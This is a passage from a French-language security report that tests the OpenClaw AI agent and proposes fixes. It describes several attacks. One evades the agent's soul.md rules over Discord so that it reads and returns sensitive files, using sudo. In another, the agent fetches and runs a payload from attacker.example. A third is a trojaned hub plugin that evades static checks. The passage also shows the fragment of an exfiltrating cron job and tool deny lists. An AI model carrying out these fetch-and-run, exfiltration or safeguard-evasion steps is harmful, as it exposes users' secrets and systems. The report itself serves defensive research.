tu/.bash_history >/dev/null 2>&1
```

Figure 4 - Création d'un cron job qui extrait des données hors du workspace

Ce scénario montre que l'automatisation système peut devenir un vecteur d'exfiltration de données. Pour limiter ce risque, il est nécessaire de contrôler strictement la création de tâches planifiées, d'interdire les actions sensibles sans validation humaine et de journaliser les automatisations mises en place. Une vérification régulière des cron jobs et des scripts générés par l'agent doit également être prévue.

6.2 Cas d'usage avancé - focus sur les API

6.2.1 Accès non autorisé au système via le canal Discord

Contexte et objectif

Dans le cadre de l'analyse des surfaces d'attaque d'OpenClaw, nous avons comparé le comportement de l'agent selon les différents canaux d'interaction, notamment le WebUI et Discord. L'objectif était de déterminer si les mécanismes de sécurité étaient appliqués de manière uniforme et d'identifier d'éventuelles failles exploitables.

Introduction

OpenClaw, dans son état natif, permet à l'agent d'accéder à une large gamme de ressources système, y compris des fichiers sensibles, sans restrictions particulières. Cela signifie qu'il peut, par exemple, accéder à des informations sensibles et les retransmettre (comme des mots de passe ou des données confidentielles) depuis le terminal ou des fichiers situés dans des répertoires non protégés. Cependant, pour pallier ces risques de fuite d'informations, des fichiers de configuration tels que `soul.md` ont été introduits afin de définir des règles de comportement plus strictes, limitant les actions de l'agent à certains répertoires spécifiés, notamment `~/.openclaw/workspace`. Ces règles visent à restreindre l'accès aux fichiers externes et à empêcher leur divulgation, même lorsque l'agent dispose de privilèges élevés.

Analyse du comportement via WebUI

Toute tentative explicite d'accès à des fichiers externes (par exemple, `/home/lab/secret.txt`) est systématiquement refusée par l'agent. Ce comportement résulte directement des règles définies dans le fichier **soul.md**, qui impose à l'agent de respecter des restrictions strictes sur les chemins accessibles.

Contrairement à une première hypothèse, l'agent ne génère pas spontanément de script permettant de contourner cette restriction lorsqu'une telle demande lui est faite. Bien que des tentatives de type **prompt injection** aient été envisagées, elles ne constituaient pas l'objectif principal de cette démonstration. De plus, même si un script était généré pour tenter d'exploiter cette faiblesse, l'agent refuserait toujours de restituer des données sensibles, comme le montre la tentative d'accès aux fichiers protégés.

Afin de poursuivre l'analyse, un script Python a été **créé manuellement** dans le workspace. Ce script permettait de lire des fichiers situés en dehors du répertoire autorisé. Lors de son exécution, il était capable de récupérer les données ciblées. Cependant, malgré cette récupération effective côté système, l'agent refusait systématiquement de retourner les

informations jugées sensibles. Ce filtrage concerne notamment les fichiers contenant des éléments identifiables comme sensibles (par exemple, *secret*, *flag*, etc.).

Ce comportement met en évidence un **mécanisme de filtrage en sortie**, empêchant la divulgation d'informations critiques même lorsque celles-ci sont accessibles au niveau du système. Ce filtrage garantit que, même si un script généré manuellement peut récupérer les données, l'agent OpenClaw applique une politique de sécurité qui interdit leur transmission.

Origine du mécanisme de protection

L'analyse de la documentation et des mises à jour récentes d'OpenClaw a permis d'identifier l'origine de ce comportement. Celui-ci est notamment lié au chargement d'un fichier de configuration appelé *soul.md*, qui définit les règles de comportement de l'agent.

Ce fichier contient des instructions explicites telles que :

- Ne jamais divulguer d'informations sensibles,
- Traiter les données utilisateur avec prudence.

Ces règles sont intégrées dans le contexte de l'agent lorsqu'il est utilisé via le WebUI, ce qui explique le filtrage observé.

Comportement via Discord

Contrairement au WebUI, les tests effectués via Discord ont révélé un comportement significativement plus permissif.

Après analyse, il apparaît que l'agent invoqué via Discord ne charge pas l'ensemble des fichiers de configuration, dont *soul.md*. Cela s'explique par des contraintes de performance : l'agent étant instancié à chaque requête, le chargement complet de tous les fichiers de configuration (au nombre de sept) serait trop coûteux.

Cette différence de contexte entraîne une absence partielle des mécanismes de protection observés précédemment.

Scénario d'attaque

L'attaque se déroule en plusieurs étapes :

1. L'attaquant interagit avec l'agent via Discord (canal externe non fiable).
2. Il demande à l'agent de créer un script Python capable de lire des fichiers situés hors du workspace.
3. L'agent génère ce script sans restriction.
4. L'attaquant demande ensuite l'exécution du script et la récupération de sa sortie.
5. L'agent retourne les informations, y compris celles issues de fichiers sensibles.

Contrairement au WebUI, aucun filtrage efficace n'est appliqué en sortie.

Un point critique de cette attaque est également la possibilité d'utiliser des commandes avec élévation de privilèges (sudo) dans le script généré. Cela permet de contourner les restrictions de lecture du système de fichiers, rendant inefficace une protection basée uniquement sur les permissions Unix.

Ce mécanisme démontre que la sécurité ne repose pas uniquement sur le contrôle d'accès au système de fichiers, mais également sur une analyse sémantique des données retournées.

Preuves expérimentales

Création et exécution du script Python via Discord




Figure 5 - Création d'un script qui sort du workspace et récupère des données sensibles




Figure 6 - Récupération d'informations confidentielles

Ces captures montrent clairement que, depuis Discord, il est possible d'utiliser OpenClaw pour accéder à des fichiers situés hors du workspace dédié.

6.2.2 Remédiations proposées

L'analyse des vulnérabilités identifiées met en évidence que la faille exploitée ne repose pas sur un unique mécanisme, mais sur une combinaison de facteurs incluant l'exposition via un canal non fiable, des capacités d'exécution étendues et une gestion incomplète des privilèges. Nous avons donc envisagé plusieurs solutions pour pallier cette faille.

Isolation de l'environnement d'exécution

Une première approche consiste à isoler l'agent OpenClaw dans un environnement dédié, distinct du système principal. Cela peut être réalisé via l'utilisation d'un utilisateur système spécifique disposant de permissions restreintes, ou via des mécanismes d'isolation plus avancés tels que des conteneurs (Docker) ou des machines virtuelles.

Cette isolation permet de limiter l'impact d'une compromission en empêchant l'accès direct aux fichiers sensibles du système hôte. Ainsi, même en cas d'exécution de code malveillant, les données accessibles restent confinées à un périmètre contrôlé.

Toutefois, cette approche présente une limitation importante : elle réduit les capacités de l'agent, notamment son accès aux fichiers locaux, ce qui peut diminuer sa pertinence fonctionnelle dans certains cas d'usage.

Restriction des capacités en fonction du canal d'entrée

Une seconde mesure consiste à adapter dynamiquement les capacités de l'agent en fonction du canal d'interaction utilisé. En particulier, les interfaces exposées à des utilisateurs externes, telles que Discord, doivent être considérées comme des environnements non fiables.

Dans ce contexte, il est recommandé de restreindre l'accès aux outils les plus sensibles (exécution de commandes, manipulation avancée du système de fichiers, etc.) lorsque l'agent est invoqué via ces canaux. À l'inverse, des interfaces locales ou authentifiées (telles que le WebUI) peuvent bénéficier de permissions plus étendues.

Cette approche repose sur un modèle de contrôle d'accès basé sur les rôles (RBAC), permettant d'ajuster finement les privilèges en fonction du niveau de confiance.

Validation humaine des actions sensibles

Une troisième approche consiste à introduire un mécanisme de validation humaine (Human-In-The-Loop) pour toute action jugée critique. Avant l'exécution de certaines opérations, telles que l'accès à des fichiers hors du périmètre autorisé ou l'exécution de code, une confirmation explicite peut être requise.

Ce mécanisme permet de bloquer une large classe d'attaques automatisées, en introduisant une étape de contrôle manuel. Il constitue une barrière efficace contre les abus, notamment dans les environnements exposés.

Cependant, cette solution peut introduire une latence supplémentaire et réduire l'automatisation, ce qui doit être pris en compte selon les cas d'usage.

Contrôle de l'exécution et des privilèges système

Une autre mesure consiste à restreindre strictement les capacités d'exécution de l'agent, notamment en interdisant ou en encadrant l'utilisation de commandes avec élévation de privilèges (telles que sudo).

Dans le scénario étudié, l'utilisation de privilèges élevés permet de contourner les protections du système de fichiers et d'accéder à des ressources normalement inaccessibles.

Néanmoins, il est important de noter que la suppression de sudo ne constitue pas une solution suffisante à elle seule. En effet, un agent capable d'exécuter du code peut toujours accéder aux fichiers non protégés du système, même sans élévation de privilèges.

Ainsi, la problématique principale réside moins dans l'utilisation de sudo que dans la capacité globale de l'agent à exécuter du code arbitraire. Une approche plus robuste consiste donc à limiter ou à encadrer strictement cette capacité d'exécution.

Sandboxing des scripts et des exécutions

Afin de limiter les risques liés à l'exécution de code, il est recommandé d'exécuter les scripts générés par l'agent dans un environnement isolé (sandbox). Ce sandbox peut restreindre l'accès au système de fichiers, au réseau et aux ressources critiques.

Une telle approche permet de conserver une partie des capacités dynamiques de l'agent tout en réduisant significativement l'impact d'une exploitation.

Sécurisation de l'accès au bot Discord

Enfin, une attention particulière doit être portée à la sécurisation du bot Discord, qui constitue un point d'entrée critique dans le système.

Il est recommandé de restreindre l'accès au bot aux utilisateurs autorisés uniquement, via des mécanismes de gestion des rôles, d'authentification et de limitation des requêtes. Cette mesure permet de réduire la surface d'attaque en empêchant des utilisateurs non autorisés d'interagir avec l'agent.

6.3 Cas d'usage avancé - focus sur les sites web

6.3.1 Cas d'usage avancé - focus sur les sites web

Ce cas d'usage examine comment l'exposition d'un agent OpenClaw via des interfaces web publiques ou semi-publiques peut ouvrir des vecteurs d'exécution de code et de fuite d'informations. L'objectif est d'illustrer un scénario réaliste où un site web malveillant ou compromis sert de point d'entrée pour faire générer, télécharger et exécuter du code sur une instance OpenClaw, puis d'identifier les contrôles nécessaires pour limiter l'impact. Le texte qui suit décrit le scénario d'attaque, les observations techniques et des remédiations opérationnelles adaptées aux environnements de production.

Exécution de code via un site web

Contexte et déroulement : un site web externe (page publique, formulaire ou webhook) est utilisé pour soumettre des requêtes à un agent OpenClaw exposé. L'attaquant profite soit d'un formulaire mal filtré, soit d'un endpoint qui accepte du contenu riche (scripts, snippets, URL) pour pousser une séquence d'actions en trois temps : génération d'un script, récupération du script via HTTP, puis exécution locale.

Étapes observées

- **Injection de la demande** : l'attaquant envoie au site une requête demandant la génération d'un script (par ex. un script Python) destiné à lire des fichiers ou à télécharger un binaire depuis une URL contrôlée.
- **Génération automatique** : l'agent, en contexte web, produit le code demandé et fournit soit le contenu du script, soit un lien HTTP pointant vers le payload.
- **Récupération et exécution** : le payload est téléchargé par un composant autorisé (ici via le flux web) et lancé dans l'environnement local.

Comportement de fuite et filtrage

Même lorsque le code parvient à lire des fichiers hors du workspace, des mécanismes de filtrage en sortie peuvent empêcher la divulgation explicite de certains contenus sensibles. Ce comportement met en évidence un mécanisme de filtrage en sortie, empêchant la divulgation d'informations critiques même lorsque celles-ci sont accessibles au niveau du système.

Points faibles spécifiques aux sites web

- **Contexte d'exécution allégé** : pour des raisons de performance, l'agent invoqué via des endpoints web publics peut ne pas charger l'ensemble des protections contextuelles (politiques, fichiers de règles), ce qui augmente la permissivité.
- **Téléchargement dynamique** : le payload peut être externalisé (hébergé sur un CDN ou serveur HTTP) et modifié après validation initiale, rendant la vérification statique inefficace.
- **Chaîne d'exécution non supervisée** : l'exécution peut être déclenchée par des tools déjà autorisés, contournant des contrôles applicatifs si ces tools disposent d'autorisations larges.
- **Élévation implicite** : l'usage de commandes ou de mécanismes d'escalade (sudo, setuid mal configurés) dans le payload peut permettre d'outrepasser des protections basées uniquement sur les permissions Unix.

Exemple de scénario concret

1. Un formulaire web envoie la requête « génère un script qui lit /etc/secret ».
2. L'agent renvoie un script et un lien HTTP vers <http://attacker.example/payload.py>.
3. Un tool autorisé télécharge payload.py et l'exécute dans le workspace.
4. Le script lit des fichiers et renvoie la sortie ; selon le canal, le filtrage peut ou non supprimer les éléments sensibles.

6.3.2 Remédiation proposée**Principes généraux**

- **Ne jamais faire confiance au canal web** : tout contenu provenant d'un site externe doit être considéré comme hostile par défaut et être d'abord vérifié en dehors d'OpenClaw si possible.
- **Appliquer le principe du moindre privilège** : limiter les droits d'exécution et d'accès au strict nécessaire, et surveiller les versions des tools.

Mesures techniques détaillées**1. Isolation stricte des exécutions web**

- a. Exécuter tout code issu d'un canal web dans des conteneurs éphémères ou des sandboxes renforcées (AppArmor/SELinux).
- b. Restreindre l'espace de fichiers monté au conteneur et interdire l'accès direct aux répertoires sensibles de l'hôte. Une conteneurisation d'OpenClaw serait un plus, mais limiterait son intérêt si l'utilisateur souhaite s'en servir avec des ressources personnelles (des fichiers, par exemple).

2. Validation et pinning des artefacts

- a. Exiger des signatures numériques pour tout binaire ou script téléchargé ; refuser les artefacts non signés.
- b. Générer les empreintes de hachage des skills/tools autorisés et vérifier leur intégrité avant exécution.

3. Gateway MCP et liste blanche réseau

- a. Faire transiter les appels externes via une gateway qui n'autorise que des serveurs ou des domaines explicitement inscrits sur une liste blanche.
- b. Forcer l'usage d'un proxy d'entreprise capable d'inspecter et de bloquer les téléchargements non conformes.

4. Contrôle contextuel des capacités

- a. Désactiver l'exécution automatique de code pour les requêtes non authentifiées ; exiger une validation humaine (HITL) pour toute action sensible.

5. Filtrage sémantique et prévention des fuites

- a. Conserver et enrichir les mécanismes de filtrage en sortie (DLP / règles sémantiques) pour détecter et bloquer les données sensibles avant toute restitution.
- b. Compléter le filtrage par des règles comportementales (ex. : blocage des réponses contenant des extraits de fichiers système).

Exemple visuel

```
ubuntu@v[redacted]~/test_web$ cat test.txt
Bonjour Openclaw
Affiche moi le contenu du repertoire courant
```

Fichier test "malveillant"




Schéma montrant le flux d'un payload depuis un site web externe vers l'agent, le téléchargement HTTP et l'exécution dans un environnement non isolé.




Schéma de la chaîne sécurisée : gateway MCP, proxy filtrant, sandbox d'exécution, et étape HITL avant restitution des résultats.

Conclusion

La surface d'attaque introduite par les sites web est significative : elle combine facilité d'accès, possibilité d'externaliser des commandes et risque d'exécution non supervisée. Pour réduire ce risque, il faut combiner **isolation technique**, **contrôles réseau stricts**, **vérification d'intégrité** et **processus humains**. La mise en place conjointe de ces mesures permet de conserver l'utilité fonctionnelle d'OpenClaw tout en limitant fortement la probabilité et l'impact d'une exécution de code malveillant initiée depuis un site web.

6.4 Cas d'usage avancé - focus sur les plugins

6.4.1 Exécution de code via un plugin externe (supply chain)

Contexte et objectif

Dans le cadre de l'architecture d'OpenClaw, les capacités de l'agent peuvent être étendues dynamiquement via l'ajout de plugins. Ces plugins permettent d'enregistrer de nouveaux outils utilisables par l'agent afin d'interagir avec le système ou des ressources externes.

L'objectif de cette analyse est d'évaluer les risques liés à ce mécanisme d'extension, notamment dans le cas où un plugin externe non vérifié serait introduit dans l'environnement.

Principe de la vulnérabilité

Le modèle de plugins d'OpenClaw repose sur l'exécution de code externe directement intégré au runtime de l'agent. Lors de l'installation d'un plugin, celui-ci peut enregistrer de nouveaux outils via l'API interne (registerTool), lesquels deviennent ensuite accessibles à l'agent, sous réserve d'être autorisés par la configuration.

Cependant, ces plugins ne sont pas isolés du système principal. Ils s'exécutent avec les mêmes privilèges que l'agent, et disposent donc d'un accès direct au système de fichiers et aux ressources locales.

Dans ce contexte, un plugin malveillant ou compromis peut introduire des comportements non souhaités, sans mécanisme natif de sandboxing ou de vérification.


Scénario d'attaque

L'attaque repose sur l'exploitation du mécanisme de distribution de tools via le hub OpenClaw, dans un contexte d'utilisation légitime par un utilisateur.

Le scénario étudié est le suivant :

1. Un utilisateur souhaite étendre les capacités de son agent OpenClaw et recherche un tool sur le hub (par exemple, un outil d'analyse ou de revue de code).
2. Il installe un tool présenté comme légitime (ex : "code reviewer", "audit tool", etc.), sans vérifier son comportement interne.
3. Ce tool contient, en plus de sa fonctionnalité apparente, un code externe introduisant un comportement caché (par exemple, récupération d'informations système ou modification de fichiers).
4. Lors de son utilisation par l'agent, le tool est exécuté automatiquement dans l'environnement OpenClaw.
5. Le code associé au tool est alors exécuté avec les privilèges du processus OpenClaw, permettant d'interagir avec le système local.

Dans le cadre de cette démonstration, ce comportement a été simulé par un tool capable d'exécuter une action bénigne (création d'un fichier de preuve), permettant de valider l'exécution effective du code issu du plugin.



Évolution des mécanismes de sécurité

Ce type d'attaque étant relativement répandu dans les environnements d'agents extensibles, des mesures de protection ont été introduites dans OpenClaw.

Notamment, une vérification a été mise en place sur les tools publiés sur le hub afin de détecter et de bannir ceux contenant du code malveillant directement visible dans leurs instructions.

Limites des protections existantes

Les protections actuelles reposent principalement sur une analyse statique ou sémantique du contenu des tools. Or, plusieurs techniques permettent de contourner ce type de détection :

- **Externalisation du code** : le comportement malveillant peut être déplacé dans une ressource externe (par exemple un dépôt distant), téléchargée et exécutée dynamiquement lors de l'appel du tool.
- **Obfuscation du comportement** : le code exécuté peut être dissimulé ou fragmenté de manière à ne pas apparaître clairement dans les instructions analysées.

- **Utilisation de langages ou formats non interprétés par le modèle** : certaines portions de code peuvent être intégrées dans des formats difficilement analysables par les mécanismes de filtrage, puis exécutées par l'environnement système.

Dans ces cas, le tool peut apparaître légitime lors de son analyse initiale, tout en conservant un comportement malveillant à l'exécution.

Analyse du risque

Cette attaque met en évidence une vulnérabilité de type supply chain, dans laquelle un composant tiers introduit dans le système devient un vecteur d'exécution de code.

Le risque est amplifié par plusieurs facteurs :

- La confiance implicite accordée aux tools disponibles sur le hub,
- L'exécution automatique de code sans sandboxing,
- L'intégration directe des plugins dans le runtime de l'agent,
- L'absence de vérification dynamique du comportement réel du tool.

Ainsi, même en présence de mécanismes de filtrage en amont, un tool malveillant peut être introduit et exécuté avec succès.

6.4.2 Remédiations proposées pour l'attaque via plugin

Mesures générales de remédiation

Une façon évidente de remédier à cette faille serait de vérifier chaque tool avant son installation. Cela inclut notamment le filtrage des tools qui effectuent des appels externes ou qui présentent un comportement anormal. Cependant, il est à noter que les utilisateurs lambda ne vérifient généralement pas les tools installés, ce qui rend cette approche difficile à appliquer efficacement dans des environnements réels.

Sandboxing des tools et Human-In-The-Loop (HITL)

Une solution importante pour limiter les risques est le **sandboxing** des tools. En isolant les tools dans un environnement contrôlé, on empêche l'exécution de code malveillant affectant directement le système hôte. De plus, l'introduction du mécanisme **Human-In-The-Loop (HITL)** permet de requérir une validation humaine pour les actions sensibles, comme l'accès à des fichiers système ou l'exécution de commandes privilégiées.

Il existe même un tool intégrant un mécanisme HITL (Human-In-The-Loop, avec confirmation utilisateur) pour chaque appel externe des autres tools, ce qui permet de renforcer la sécurité de l'environnement d'exécution.

Vérification des plugins (et des tools)

OpenClaw a déjà mis en place des mécanismes de vérification pour les plugins développés en interne. Ces mesures permettent de filtrer les tools malveillants avant leur installation sur la plateforme. Toutefois, une limitation importante du système actuel réside dans le fait qu'il est impossible de garantir la sécurité d'un tool provenant du hub open-source. Un tool malveillant peut être posté sur le hub sous la forme d'un outil légitime, mais contenant des instructions cachées qui compromettent la sécurité du système. La vérification statique ou dynamique des tools installés ne garantit donc pas la sécurité absolue.

Solution complémentaire : vérification dynamique via agents

Une remédiation particulièrement intéressante dans ce contexte consiste à utiliser des agents de vérification des tools. Ces agents sont capables de vérifier en temps réel les tools installés, ainsi que les bibliothèques et dépendances qu'ils installent dynamiquement. Des outils disponibles sur ClawHub (<https://clawhub.ai/rongself/agent-skills-tools>, par exemple) permettent de réaliser une vérification rapide des tools et de renforcer leur sécurité sans avoir à vérifier chaque tool individuellement.

Ces agents de vérification automatisée peuvent être déployés pour garantir que seul du code vérifié et fiable est exécuté par l'agent OpenClaw, sans nécessiter une validation manuelle de chaque plugin.

6.5 Correctif : Mise en place du sandboxing

Afin de corriger les trois failles majeures identifiées dans notre démonstration, nous avons décidé de mettre en place une solution de sandboxing au sein d'OpenClaw. Le sandboxing permet d'isoler l'exécution des tools et de limiter leur interaction avec le système hôte. En d'autres termes, en appliquant cette approche, nous avons restreint l'accès aux fichiers système et les possibilités d'exécution de code malveillant, réduisant ainsi la surface d'attaque et renforçant la sécurité de l'agent.

Objectifs du sandboxing

La mise en place du sandboxing visait à :

1. Limiter l'accès aux fichiers du système, en restreignant l'agent à son répertoire de travail (~/.openclaw/workspace).
2. Prévenir l'exécution de commandes système non autorisées (par ex. : sudo, exec).
3. Sécuriser l'exécution des tools en les isolant dans un environnement contrôlé.

Le sandboxing a été activé en modifiant le fichier de configuration principal d'OpenClaw, `openclaw.json`, afin de forcer l'agent à fonctionner dans un environnement restreint. La modification suivante a été appliquée pour limiter l'accès aux fichiers hors du répertoire `~/openclaw/workspace` :

Modification de la configuration

L'ajout de la ligne suivante dans le fichier `openclaw.json` a permis de garantir que l'agent respecte strictement la limite du répertoire de travail :

```
"tools": {  
  "fs": {  
    "workspaceOnly": true  
  }  
}
```

Cette configuration a été ajoutée sous la section `tools`, dans la sous-section `fs` (système de fichiers). Elle indique explicitement à OpenClaw de ne permettre l'accès qu'au répertoire de travail, rejetant toute tentative d'accès à des fichiers en dehors de ce répertoire.

Blocage des outils système sensibles

Afin d'éviter que l'agent ne puisse exécuter des commandes sensibles ou des actions potentiellement dangereuses, nous avons également désactivé certains outils comme `exec` et `process` :

```
"tools": {  
  "deny": ["exec", "process"]  
}
```

Cela empêche l'agent d'exécuter des commandes shell ou des processus externes, réduisant ainsi les risques liés à l'exécution de code malveillant qui tenterait d'exploiter ces fonctionnalités.

Désactivation des plugins non sécurisés

Pour compléter cette approche, des plugins non sécurisés, comme `demo-tool`, ont été désactivés. Voici l'ajout dans la configuration pour interdire l'exécution de ce plugin malveillant :

```
"plugins": {  
  "deny": ["demo-tool"],
```

```
"allow": ["openai", "duckduckgo", "browser", "discord"]
}
```

Cela garantit que seul un sous-ensemble de plugins vérifiés peut être utilisé dans l'environnement d'OpenClaw, évitant ainsi l'introduction de plugins malveillants.

Après avoir mis en place le sandboxing, nous avons effectué des tests pour vérifier son efficacité. Lors de l'exécution de commandes demandant l'accès à des fichiers extérieurs au répertoire ~/.openclaw/workspace, l'agent a renvoyé une erreur similaire à celle-ci :

```
Access to /home/lab/flag.txt is now blocked because it's outside the sandbox
root: Path escapes sandbox root (~/.openclaw/workspace)
```

Cela montre que l'accès aux fichiers extérieurs est désormais correctement bloqué et que la politique de sécurité est appliquée efficacement.

Conclusion

La mise en place du sandboxing dans OpenClaw a permis de corriger les principales failles identifiées dans cette démonstration. En restreignant l'accès aux fichiers système et en désactivant les outils sensibles, nous avons réduit de manière significative les risques d'exploitation, tout en maintenant les fonctionnalités de l'agent.

Grâce à l'application de ces mesures, OpenClaw est désormais mieux sécurisé et moins vulnérable à l'exécution de code malveillant, ce qui renforce la confiance dans son utilisation dans des environnements réels.

6.6 Conclusion du rapport

Ce projet a permis d'étudier OpenClaw comme exemple représentatif d'une nouvelle génération d'assistants IA capables non seulement de dialoguer avec l'utilisateur, mais aussi d'exécuter des actions concrètes sur un système. Cette évolution, que l'on retrouve également dans d'autres outils agentiques similaires, ouvre des perspectives importantes en matière d'automatisation, d'assistance personnelle et d'administration système. Cependant, elle introduit aussi une surface d'attaque beaucoup plus large que celle des assistants conversationnels classiques.

Les expérimentations réalisées ont montré que les principaux risques ne viennent pas d'un seul composant, mais de la combinaison entre plusieurs facteurs : accès aux fichiers locaux, exécution de commandes, intégration de plugins, connexion à des services externes et exposition via des canaux comme Discord ou le web. Dans ce contexte, sécuriser totalement un outil comme OpenClaw reste difficile. Chaque mesure de protection implique un compromis. Le sandboxing limite fortement les risques, mais réduit aussi l'accès de l'agent aux ressources locales. De même, le mécanisme Human-In-The-Loop améliore le contrôle des actions sensibles, mais peut devenir contraignant pour l'utilisateur si les confirmations sont trop fréquentes.

Un autre point important concerne l'utilisation d'un LLM comme moteur de décision. Contrairement à une boucle classique déterministe, un modèle de langage peut mal interpréter une demande, halluciner une action ou accorder trop d'importance à une instruction malveillante. Ce comportement probabiliste rend la sécurité plus complexe, car il ne suffit pas de contrôler le code : il faut aussi encadrer les décisions prises par l'agent.

Ainsi, la sécurisation d'OpenClaw et des agents similaires ne peut pas reposer sur une seule solution. Elle doit combiner plusieurs approches : limitation des privilèges, isolation des tools, contrôle des plugins, filtrage des sorties, journalisation des actions, validation humaine pour les opérations critiques et adaptation des permissions selon le canal utilisé. L'objectif n'est donc pas d'obtenir une sécurité absolue, difficilement atteignable aujourd'hui, mais de réduire progressivement les risques tout en conservant l'intérêt fonctionnel de l'agent.

En conclusion, OpenClaw illustre bien le potentiel mais aussi les limites actuelles des assistants IA autonomes. Ces outils peuvent devenir très puissants dans des environnements personnels ou professionnels, à condition d'être déployés avec une politique de sécurité stricte. Les travaux futurs devront probablement s'orienter vers des agents plus contrôlables, capables d'expliquer leurs actions, de respecter des politiques de sécurité dynamiques et de vérifier automatiquement les tools avant leur exécution. Cela permettrait de mieux concilier autonomie, performance et confiance dans les systèmes d'IA agentiques.

7. Références

[1] Bhardwaj, V. P. (2026).

Formal Analysis and Supply Chain Security for Agentic AI Skills.

arXiv preprint arXiv:2603.00195.

Lien : <https://arxiv.org/abs/2603.00195>

[2] Dong, B., Feng, H., & Wang, Q. (2026).

Clawdrain: Exploiting Tool-Calling Chains for Stealthy Token Exhaustion in OpenClaw Agents.

arXiv preprint arXiv:2603.00902.

Lien : <https://arxiv.org/abs/2603.00902>

[3] Chen, T., Liu, D., Hu, X., Yu, J., & Wang, W. (2026).

A Trajectory-Based Safety Audit of Clawdbot (OpenClaw).

arXiv preprint arXiv:2602.14364.

Lien : <https://arxiv.org/abs/2602.14364>

[4] Liu, Z., & Wang, X. (2024).

Research on User Experience Optimization of Intelligent Virtual Assistant Based on Deep Learning.

Proceedings of the IEEE International Conference on Interactive Intelligent Systems and Techniques (IIST).

Lien : <https://ieeexplore.ieee.org/document/10734468>

[5] Shivaramaiah, P., Ramesh, R., & Nagraj, K. (2025).

A Hybrid Agentic AI Framework Integrating AIML and Machine Learning for Context-Aware Autonomous Systems.

Proceedings of the IEEE North Karnataka Subsection Flagship International Conference (NKCon).

Lien : <https://ieeexplore.ieee.org/document/11345759>

[6] Fauzdar, V. (2023).

ClawDBot: Building a Real Open-Source AI Agent That Actually Acts.

Medium.

Lien : <https://medium.com/%40viplav.fauzdar/clawdbot-building-a-real-open-source-ai-agent-that-actually-acts-f5333f657284>

[7] OpenClaw Team. (2023).

OpenClaw: An Overview of the Open-Source AI Framework.

DeepWiki.

[8] Test EICAR

https://fr.wikipedia.org/wiki/Fichier_de_test_Eicar